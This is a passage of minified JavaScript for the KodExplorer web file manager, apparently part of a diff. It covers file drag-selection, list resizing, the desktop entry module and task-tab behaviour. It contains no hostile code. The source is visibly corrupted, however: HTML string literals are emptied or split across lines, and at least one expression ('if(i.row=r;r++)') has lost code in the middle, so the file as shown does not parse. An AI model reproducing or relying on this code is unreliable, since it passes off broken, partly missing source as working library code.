i=$(this).parents(".file");return i.hasClass("systemBox"),ui.path.rname(),stopPP(e),!1})},n=function(){var e;$("#folderList a").die("mouseenter").live("mouseenter",function(){if(i){$(this).hasClass("menuTreeFolder")&&$(this).addClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),a=t.getNodeByTId($(this).parent().attr("id"));!a.open&&a.isParent&&(e=setTimeout(function(){t.expandNode(a,!0)},600))}}).die("mouseup").live("mouseup",function(){if(i){$(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),a=t.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){a.isParent=!0,t.reAsyncChildNodes(a,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){i&&($(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1)})},o=function(){$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(){i&&$(this).addClass("curDropToPath")}).die("mouseup").live("mouseup",function(){i&&$(this).removeClass("curDropToPath")}).die("mouseleave").live("mouseleave",function(){i&&$(this).removeClass("curDropToPath")})},s=function(e){return"icon"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")?!0:!1:"list"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:"list_split"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:void 0},r=function(e){if("list_split"==G.user_config.list_type&&s(e)&&1==ui.fileLight.fileListSelect().length){var i=ui.fileLight.path(e);ui.path.history.add(i),ui.fileContent.pathChildrenSplit(i,function(){c(i)})}},l=function(){var e=".fileList_list_split .split_box",i="split_hover";$(e).live("mouseenter",function(){$(e).removeClass(i),$(this).addClass(i)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(i)}).die("click").live("click",function(){c(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(e){var i=$(e.target).parents(".file");(0==i.length||0==i.find(".children_open").length)&&c(ui.fileLight.path($(this)))})},c=function(e){var i=$(".fileList_list_split .split_box"),t=$('.fileList_list_split .split_box[data-path="'+pathHashEncode(e)+'"]'),a=$('.fileList_list_split .split_box .file[data-path="'+pathHashEncode(e)+'"]'),n="split_select";0==t.length&&(t=i.last()),i.removeClass(n),t.addClass(n),0==ui.fileLight.fileListSelect().length&&a.addClass("select"),ui.fileLight.select();var o=t.data("jsonData");o&&e&&(ui.fileContent.pathTypeChange(o),G.this_path=e,G.json_data=o,ui.headerAddress.addressSet()),ui.fileLight.init()},d=function(e){return e.hasClass("menuSharePath")||e.hasClass("systemBox")?!1:!0 -},p=function(){var t,a,n,o=150,s=!1,r=!1,l=0,c=!1,p=-15,u=10,f=0,h=0,m="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(i){if(!i.shiftKey){if(ui.isEdit())return!0;if(1!=i.which||e)return!0;t=$(this),d(t)&&(g(i),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(e){b(e)}),$(document).keydown(function(e){b(e)}),$(document).keyup(function(e){b(e)}),$(document).one("mouseup",function(e){k(e),this.releaseCapture&&this.releaseCapture()}))}});var v,_,g=function(e){rightMenu.hidden(),i=!0,l=$.now(),f=e.pageY,h=e.pageX,a=$(document).height(),n=$(document).width(),r=$(e.target).parents(".file")},b=function(e){if(!i)return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-l>o&&!c&&(w(),s=$(".draggable-dragging"),s.attr("data-beforeInfo",s.find("span").html())),c){var t=e.clientX>=n-50?n-50:e.clientX,r=e.clientY>=a-50?a-50:e.clientY;return t=0>=t?0:t,r=0>=r?0:r,t-=p,r-=u,s.css({left:t,top:r}),y(e),z(t-h+p,r-f+u),!0}},y=function(e){clearTimeout(v),v=!1,v=setTimeout(function(){try{x(e)}catch(i){}},10)},x=function(e){var i=e.ctrlKey||e.metaKey,t=function(e,i){G.sid!==void 0&&(e="none"),void 0!=i&&0!==i.search(G.KOD_GROUP_PATH)&&0!==i.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(i)&&(e="clear");var t=htmlEncode(core.pathThis(i)),a=" "+s.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),n={copy_to:''+LNG.copy_to+'"'+t+'"',move_to:''+LNG.cute_to+'"'+t+'"',remove:''+LNG.remove+a+"",share:''+LNG.share+a+"",none:''+LNG.no_permission_write+"",clear:s.attr("data-beforeInfo")};i==G.this_path&&(n.copy_to=''+LNG.clone+""),s.find("span").html(n[e]),s.attr("data-actionType",e),s.attr("data-actionPath",i)};if(0!=$(".selectDragTemp").length||0!=$(".curDropTreeNode").length||0!=$(".curDropToPath").length){var a=ui.fileLight.path($(".selectDragTemp"));if(0!=$(".curDropTreeNode").length){var n=ui.tree.zTree(),o=n.getNodeByTId($(".curDropTreeNode").parent().attr("id"));a=o.path}0!=$(".curDropToPath").length&&(a=$(".curDropToPath").attr("data-path")),$(".selectDragTemp").hasClass("menuRecycleButton")?t("remove"):i?t("copy_to",a):t("move_to",a)}else if(0!=$(".recycle_hover").length)t("remove");else if(0!=$(".share_hover").length&&1>=ui.fileLight.fileListSelect().length)t("share");else if(i){var a=G.this_path;"list_split"==G.user_config.list_type&&0!=$(".split_hover").length&&(a=ui.fileLight.path($(".split_hover"))),t("copy_to",a)}else"list_split"!=G.user_config.list_type||0==$(".split_hover").length||$(".split_hover").hasClass("split_select")?t("clear"):t("move_to",ui.fileLight.path($(".split_hover")))},k=function(){if(!i)return!1;if(i=!1,c=!1,$("body").removeClass(m),s){s.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){s.remove(),s=!1});var e=function(e,i){switch(e){case"copy_to":ui.path.copyDrag(i,!0);break;case"move_to":ui.path.cuteDrag(i);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share();break;default:}},t=s.attr("data-actionType");-1!=$.inArray(t,["copy_to","move_to","remove","share"])?P(!1):P(!0),e(t,s.attr("data-actionPath"))}},w=function(){$("body").addClass(m);var e=ui.fileLight.fileListSelect().length;$('
    '+e+'
    '+e+" "+LNG.file+"
    ").appendTo("body"),c=!0,setTimeout(j,20)},L=0,N=5,C=35,T=20,S=60,j=function(){clearTimeout($(".file-draging-box").data("removeDelay")),$(".file-draging .file").stop(),$(".file-draging-box").remove();var e={icon:"fileList_icon",list:"fileList_list",list_split:"fileList_list_split"},i=e[G.user_config.list_type];$("
    ").appendTo("body"),_=$(Config.SelectClass).filter("[data-path!='']");var t=_.clone();(_.length>=S||$.browser.msie)&&(t=r.clone()),t.appendTo(".file-draging"),t.each(function(e){var i=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']"),a=i.offset();$(this).css({left:a.left,top:a.top,width:i.width()}),$(this).data({"data-left":a.left,"data-top":a.top,"data-animateTime":200+e*N,"data-sizeAdd":L*e}),$(this).attr("data-path")==r.attr("data-path")&&$(this).addClass("handle_target"),1==t.length&&($(this).data({"data-animateTime":0}),T=0)}),_.addClass("item-file-draging");var a=setTimeout(function(){$(".file-draging-box").data("animate","finished");var e=$(".draggable-dragging");t.each(function(){var i=$(this),t=$(this).data("data-sizeAdd"),a=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:a,easing:"swing",progress:function(a,n){var o=i.offset(),s=e.offset(),r=(s.left+t-o.left)*n,l=(s.top+t+C-o.top)*n;i.css({left:o.left+r,top:o.top+l})},complete:function(){i.data("status","finished")}})})},T);$(".file-draging-box").data("dragDelay",a),$(".file-draging-box").data("animate","ready")},z=function(e,i){return"finished"!=$(".file-draging-box").data("animate")?($(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+e,top:$(this).data("data-top")+i})}),void 0):($(".file-draging .file").each(function(){if("finished"==$(this).data("status")){var e=$(this).data("data-sizeAdd"),i=$(".draggable-dragging").offset();$(this).css({left:i.left+e,top:i.top+e+C})}}),void 0)},P=function(e){var i=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(i){var t=i*N,a=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']");e?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+t,function(){_.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(a.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+t,function(){$(this).remove()}))});var t=setTimeout(function(){$(".file-draging-box").remove()},400+N*i);$(".file-draging-box").data("removeDelay",t)}},u=function(){var t=null,a=null,n=null,o=0,s=0,r=0,l=0,c="",d="bodymain";"desktop"==Config.pageApp&&(d="fileContiner");var p=$("."+d);p.die("mousedown").live("mousedown",function(e){if(!($(e.target).hasClass(d)&&20>$(document).width()-e.pageX)){if(r=$(".fileContiner").outerHeight(),l=p.outerHeight(),ui.isEdit())return!0;if(1!=e.which||i)return!0;u(e),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(e){f(e)}),$(document).one("mouseup",function(e){clearTimeout(c),c=!1,m(e),this.releaseCapture&&this.releaseCapture()})}});var u=function(i){s=p.offset().left-p.scrollLeft(),o=p.offset().top-p.scrollTop(),"list_split"==G.user_config.list_type&&(o+=$(i.target).parents(".split_box").scrollTop()),$(i.target).parent().hasClass(Config.FileBoxClassName)||$(i.target).parent().parent().hasClass(Config.FileBoxClassName)||$(i.target).hasClass("fix")||(rightMenu.hidden(),i.ctrlKey||i.metaKey||i.shiftKey||ui.fileLight.clear(),$(i.target).hasClass("ico")||(t=i.pageX-s,a=i.pageY-o,c=setTimeout(function(){e=!0,0==$("#selContainer").length&&$('
    ').appendTo(Config.FileBoxSelector),n=$("#selContainer")},100)))},f=function(i){if(!e)return!0;var o=i.pageX-p.offset().left+p.scrollLeft(),s=i.pageY-p.offset().top+p.scrollTop(),c=Math.abs(o-t),d=Math.abs(s-a);s>a&&d>r-a&&r>l&&(d=r-a),n.css({left:Math.min(o,t),top:Math.min(s,a),width:c,height:d}),1e3>ui.fileLight.fileListAll().length&&h()},h=function(){for(var e=n.offset().left-p.offset().left+p.scrollLeft(),i=n.offset().top-p.offset().top+p.scrollTop(),t=e+n.width(),a=i+n.height(),o=ui.fileLight.fileListAll(),s=0;o.length>s;s++){var r=o[s],l=$(o[s]),c=l.parent().scrollTop(),d=r.offsetLeft,u=r.offsetTop-c,f=d+l.width(),h=u+l.height();if("list_split"==G.user_config.list_type&&(d+=l.parents(".split_box")[0].offsetLeft,f=d+l.width()),t-e+f-d>Math.abs(e+t-(d+f))&&a-i+h-u>Math.abs(i+a-(u+h))){if(!l.hasClass("selectDragTemp")){if(l.hasClass("selectToggleClass"))continue;if(l.hasClass(Config.SelectClassName)){l.removeClass(Config.SelectClassName).addClass("selectToggleClass"),ui.fileLight.resumeMenu(l);continue}l.addClass("selectDragTemp")}}else l.removeClass("selectDragTemp"),l.hasClass("selectToggleClass")&&l.addClass(Config.SelectClassName).removeClass("selectToggleClass")}},m=function(){return e?(h(),n.remove(),$(".selectDragTemp").addClass(Config.SelectClassName).removeClass("selectDragTemp"),$(".selectToggleClass").removeClass("selectToggleClass"),ui.fileLight.select(),e=!1,t=null,a=null,void 0):!1}},f=function(e,i){var t=$(".fileList_list_split .split_box.split_select");if(e)t=e.parents(".split_box");else if(0!=ui.fileLight.fileListSelect().length){var a=ui.fileLight.fileListSelect().last();t=a.parents(".split_box")}return t.find(i)},h={fileListAll:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListAll():f(e,".file")},fileListSelect:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListSelect():f(e,".file.select")}},m=function(e){var i=h.fileListAll(),t=h.fileListSelect(),a=i.length-1,n=0,o=ui.getColfileNumberDesktop(),s=i.index(t.first()),r=i.index(t.last());switch(e){case"pageup":case"up":n=0>=s||0==s%o?s:s-1;break;case"left":n=0>=s-o?0:s-o;break;case"pagedown":case"down":n=r>=a||0==(r+1)%o?r:r+1;break;case"right":n=r+o>=a?a:r+o;break;default:}return i.eq(n)},v=function(e){if("desktop"==Config.pageApp)return m(e);var i=h.fileListAll(),t=h.fileListSelect(),a=i.length-1,n=0,o=ui.getRowfileNumber(),s=ui.getPagefileNumber(),r=i.index(t.first()),l=i.index(t.last());switch(e){case"up":n=0>=r-o?0:r-o,n=_(n,!1);break;case"left":n=0>=r?0:r-1;break;case"down":n=l+o>=a?a:l+o,n=_(n,!0);break;case"right":n=l>=a?l:l+1;break;case"pageup":n=0>=r-s?0:r-s,n=_(n,!1);break;case"pagedown":n=l+s>=a?a:l+s,n=_(n,!0);break;default:}return i.eq(n)},_=function(e,i){for(var t=h.fileListAll(),a=t.eq(e),n=t.length;0!=a.parents(".hidden").length;){if(i?e++:e--,0>=e||e>=n)return e;a=t.eq(e)}return e},g=function(e){var i,t=h.fileListAll(),a=h.fileListSelect(),n="",o=!1;switch(e.indexOf("shift+")>=0&&(o=!0,e=e.replace("shift+","")),e){case"home":n=a.last(),i=t.first();break;case"end":n=a.first(),i=t.last();break;case"left":n=a.last(),i=v(e);break;case"up":n=a.last(),i=v(e);break;case"right":n=a.first(),i=v(e);break;case"down":n=a.first(),i=v(e);break;case"pageup":n=a.last(),i=v(e);break;case"pagedown":n=a.first(),i=v(e);break;case"all":i=t;break;default:}if(!y(e)){if(o&&""!=n){var s=t.index(n),r=t.index(i);if(s>r){var l=s;s=r,r=l}return x(s,r,t),void 0}b(i)}},b=function(e){0!=e.length&&(ui.fileLight.clear(),e.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"list_split"==G.user_config.list_type&&1==e.length&&r($(ui.fileLight.fileListSelect()[0])))},y=function(e){var i=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.user_config.list_type)return!1;switch(e){case"left":if("list"==G.user_config.list_type)if(1==i.find(".children_more_cert.cert_open").length)i.find(".children_more_cert").removeClass("cert_open"),i.next().addClass("hidden");else{var t=i.parent(".children_list").prev(".file");b(t)}else if("list_split"==G.user_config.list_type){var t=i.parents(".split_box").prev().find(".select_split_parent");b(t)}break;case"right":if("list"==G.user_config.list_type)1==i.find(".children_more_cert").length&&(ui.fileContent.pathChildrenTree(i),i.find(".children_more_cert").addClass("cert_open"),i.next().removeClass("hidden"));else if("list_split"==G.user_config.list_type){var t=i.parents(".split_box").next().find(".file:eq(0)");b(t)}break;default:return!1}return!0},x=function(e,i,t){if("desktop"==Config.pageApp)return k(e,i,t);ui.fileLight.clear();for(var a=e;i>=a;a++)$(t[a]).addClass(Config.SelectClassName);ui.fileLight.select()},k=function(e,i,t){var a=ui.getColfileNumberDesktop(),n=Math.ceil(h.fileListAll().length/a),e={row:e%a,col:parseInt(e/a)},i={row:i%a,col:parseInt(i/a)};if(i.row=r;r++){var l=0,c=n;r==e.row&&(l=e.col),r==i.row&&(c=i.col);for(var d=l;c>=d;d++)s(r,d)}ui.fileLight.select()};return{init:function(){a(),l(),p(),u()},isDraging:function(){return i},selectSplit:c,selectPos:g}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorer_left_tree_width:199,editor_left_tree_width:199},i={filename:150,filetype:60,filesize:60,filetime:120,explorer_left_tree_width:2,editor_left_tree_width:2},t=e,a=function(){if(LocalData.get("resize_config"))t=jsonDecode(LocalData.get("resize_config"));else{G.user_config.resize_config!==void 0&&(t=jsonDecode(htmlDecode(G.user_config.resize_config)));var a=jsonEncode(t);LocalData.set("resize_config",a)}$.each(e,function(a){(!t[a]||t[a]=t&&(t=i[e]),n+=t,a+=".fileList_list .file ."+e+",#main_title ."+e+"{width:"+t+"px;}")}),a+=".fileList_list .file{width:"+(n+50)+"px;}",$.setStyle(a,"header_resize_width")}},s=function(a,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"_left_tree_width",l=$.extend(!0,{},t);l[r]+=a,l[r]<=i[r]&&(l[r]=i[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),u=$(".frame-right"),f=e[r];if(c>f-8&&f+8>c&&(c=f+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),u.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),u.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(t=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,a,s){var r=$.extend(!0,{},t);r[e]+=a,o(r),s&&(t=r,$.each(t,function(e,a){i[e]>=a&&(t[e]=i[e])}),n())},c=function(){$("#main_title").hasClass("bind_init")||(o(t),$("#main_title").addClass("bind_init"),$.each(e,function(e){$("#main_title ."+e+"_resize").drag({start:function(){},move:function(i){l(e,i,!1)},end:function(i){l(e,i,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resizeMask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(i){s(i,!0,!1),e.removeClass("active"),$(".resizeMask").css("display","none")}})},p=function(){var e=G.user_config.file_icon_size;e||(e="75"),h(e,!1),u(e)},u=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var i=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["150","box-size-big"],["220","box-size-bigx"]],t=10,a="",n=0;i.length>n;n++){var o=parseInt(i[n][0]);if(e>=o-t&&o+t>=e){a=i[n][1];break}}""!=a&&$("."+a).addClass("selected")},f=function(e){G.user_config.file_icon_size=e,u(e),$.get("index.php?setting/set&k=file_icon_size&v="+e)},h=function(e,i){var t=e,a=105,n=30,o=250;"desktop"==Config.pageApp&&(n=50,o=120),t=n>=t?n:t,t=t>=o?o:t;var s=(e-n)*a/(o-n),r=20,l=10,c=parseInt(t),d=c+2*r-l+5,p=c-l,u=c-l,h=.4*c,m=c+3*r-l,v=".fileList_icon div.file{height:"+d+"px;width:"+c+"px;}";"desktop"==Config.pageApp&&(d-=5,v="div.fileList_icon div.file{height:"+d+"px;width:"+c+"px;}"),$.browser.mozilla&&(u-=4);var _="div.fileList_icon div.file{max-height:"+m+"px;}"+v+" .fileList_icon .meta_info{height:"+h+"px;width:"+h+"px; margin-right:"+.16*h+"px;margin-top:-"+1.1*h+"px;} .fileList_icon div.file .filename{width:"+c+"px;} .fileList_icon div.file .filename #pathRenameTextarea, .fileList_icon div.file .filename .newfile{width:"+c+"px;} .fileList_icon div.file .ico{padding-left:"+l/2+"px;height:"+u+"px;width:"+p+"px} .fileList_icon div.file .ico.picasaImage{width:"+p+"px;padding-left:"+l/2+"px;overflow:hidden;}";$.setStyle(_,"file_icon_resize"),$(".slider_handle").css("top",s),i&&f(e)},m=function(){var e,i=$(".slider_handle");$(".set_icon_size_slider").bind("click",function(e){return stopPP(e),!1});var t=function(i){var t=0,a=105,n=30,o=250,s=e+i;s=t>s?t:s,s=s>a?a:s;var r=parseInt(s/a*(o-n)+n);return h(r,!1),r};i.drag({start:function(){i.addClass("active"),e=parseInt(i.css("top"))},move:function(e,i){t(i)},end:function(e,a){i.removeClass("active"),f(t(a),!0)}});var a=$(".slider_bg");$(".slider_bg").unbind("click").bind("click",function(i){var n=i.clientY-a.offset().top;e=0,t(n)})},v=function(){var e=function(e,i){var t=e.parent(),a=$(".split_box").index(t),n=parseInt(t.data("before_width"))+i;if(!(150>n)){$($(".split_line").get(a)).css("width",n),t.css("width",n),$(".split_box:gt("+a+")").each(function(){$(this).hasClass("is_drag_split")||$(this).css("left",parseInt($(this).data("before_left"))+i+"px")});var o=[];$(".split_box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("split_box_size",jsonEncode(o))}};$(".bodymain .fileList_list_split .split_drag").drag({start:function(e,i){var t=i.parent();t.addClass("is_drag_split").data("before_width",t.width()),$(".split_box,.split_line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(i,t,a,n){e(n,i)},end:function(e,i,t,a){a.parent().removeClass("is_drag_split")}},!0),$(".file.select_split_parent").removeClass("select_split_parent"),$(".split_box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select_split_parent")}),_()},_=function(){var e=jsonDecode(LocalData.get("split_box_size")),i=0;e||(e=[]);var t=function(t,a){var n=e[a];n||(n={width:250,left:i}),i+=n.width+1,t.css({width:n.width+"px",left:n.left})};i=0,$(".split_box").each(function(e){t($(this),e)}),i=0,$(".split_line").each(function(e){t($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){a(),r()&&(t=e),o(t),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:v,bindHeaderResize:c,setFileIconSize:h}}); \ No newline at end of file +/*! power by kodexplorer ver3.42(2017-04-07) [build 1491568966742] */ +define("app/src/desktop/main",["lib/jquery-lib","lib/util","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/picasa/picasa","../../common/taskTap","../../common/core","../../common/rightMenu","../explorer/ui","../explorer/fileContent","../explorer/path","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../explorer/fileLight","../explorer/fileSelect","../explorer/fileListResize"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".bodymain .fileContiner",FileBoxClass:".bodymain .fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".bodymain .fileContiner .title",SelectClass:".bodymain .fileContiner .file.select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",FileOrderAttr:"number",pageApp:"desktop",navbar:"navbar",AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),e("lib/picasa/picasa"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../common/rightMenu"),ui=e("../explorer/ui"),ui.path=e("../explorer/path"),ui.fileLight=e("../explorer/fileLight"),ui.fileSelect=e("../explorer/fileSelect"),ui.fileListResize=e("../explorer/fileListResize"),$(document).ready(function(){G.user_config.list_type="icon",core.init(),ui.init(),ui.fileLight.init(),ui.fileSelect.init(),TaskTap.init(),rightMenu.initDesktop(),ui.fileListResize.initFileSize(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),$(".fileContiner").removeClass("hidden"),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()}),$(".bodymain").click(function(){"block"==$("#menuwin").css("display")&&$("#menuwin").css("display","none"),$("body").focus()}),$(".start").click(function(){"block"==$("#menuwin").css("display")?$("#menuwin").css("display","none"):$("#menuwin").css("display","block")}),$("#menuwin").click(function(){$("#menuwin").css("display","none")}),$(".copyright").click(function(){core.copyright()}),$(".tab_hide_all").click(function(){if(0!=$.dialog.list.length){$(this).toggleClass("this");var e=!$(this).hasClass("this");$.each($.dialog.list,function(i,t){t.display(e)})}});var i='
    ';$("body").append(i);var t=$("#randomWallpaper .flower");t.bind("click",function(){t.addClass("moveCircle");var e=function(e){var i=G.my_desktop+"wallpage/";$.get("./index.php?explorer/mkdir&repeat_type=replace&path="+i,function(){$.get("./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e))})};core.api.randomImage(function(i){ui.setWall(i,function(){setTimeout(function(){t.removeClass("moveCircle")},100)}),$.get("index.php?setting/set&k=wall&v="+urlEncode(i)),e(i)})})})}),define("app/common/taskTap",[],function(){var e={},i="",t=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var i=e.attr("id"),t=$.dialog.list[i];if(void 0==t)return c(i),void 0;var a=$("."+i);"hidden"==a.css("visibility")?t.display(!0).zIndex():a.hasClass("aui_state_focus")?t.display(!1):t.zIndex()},o=function(){var e,i,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(i){1==i.which&&(e=$(this),h(i),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(i){_(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(i.pageX-l)&&n(e)}))});var h=function(t){s=!0,r=!0,l=t.pageX,$tab_parent=$(".task_tab"),i=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(i.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(i.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=t.clientX-l+c;$("body").prepend("
    "),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(t){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(t);var n=t.clientX-l+c;f>n||n>f+u-d||(a.css("left",n),i.each(function(){var i=$(this).get(0).getBoundingClientRect().left;if(n>i&&i+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"left")}if(n>i-d/2+p&&i>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"right")}}))}},v=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),i=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},t),l.animate({width:"0px"},t,function(){$(this).remove(),i=$(".task_tab .tab")})}},_=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},t,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var i=110,a=i,n=i+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},t);case"close":o.animate({width:a+"px"},t);break;case"resize":o.css("width",a+"px");break;default:}},r=function(i,t){$(".task_tab").removeClass("hidden");var a=t.replace(/<[^>]+>/g,""),n='
    '+t+"
    ";$(n).insertBefore(".task_tab .last"),s("add"),e[i]={id:i,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),i=e},c=function(i){$(".task_tab #"+i).animate({width:0},t,function(){if($(".task_tab #"+i).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[i]},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{dialog_quite:{name:LNG.close,className:"dialog_quite",icon:"remove",accesskey:"q"},dialog_max:{name:LNG.dialog_max,className:"dialog_max",icon:"resize-full",accesskey:"a"},dialog_min:{name:LNG.dialog_min,className:"dialog_min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,i){var t=i.$trigger.attr("id"),a=$.dialog.list[t];switch(e){case"dialog_quite":a.close();break;case"dialog_min":a._clickMin(!1);break;case"dialog_max":a._clickMax();break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui_title img,.aui_title .x-item-file").die("click").live("click",function(e){var i=$(this).offset();i.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:i.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),i=$.dialog.list[e];i.close(),rightMenu.hidden()})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,i){var t=i.$trigger.attr("id"),a=$.dialog.list[t];switch(e){case"quitOthers":$.each($.dialog.list,function(e,i){t!=e&&i.close()});break;case"quit":a.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,i){var t=i.$trigger.attr("id");switch($.dialog.list[t],e){case"showAll":$.each($.dialog.list,function(e,i){i.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,i){i.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,i){i.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='
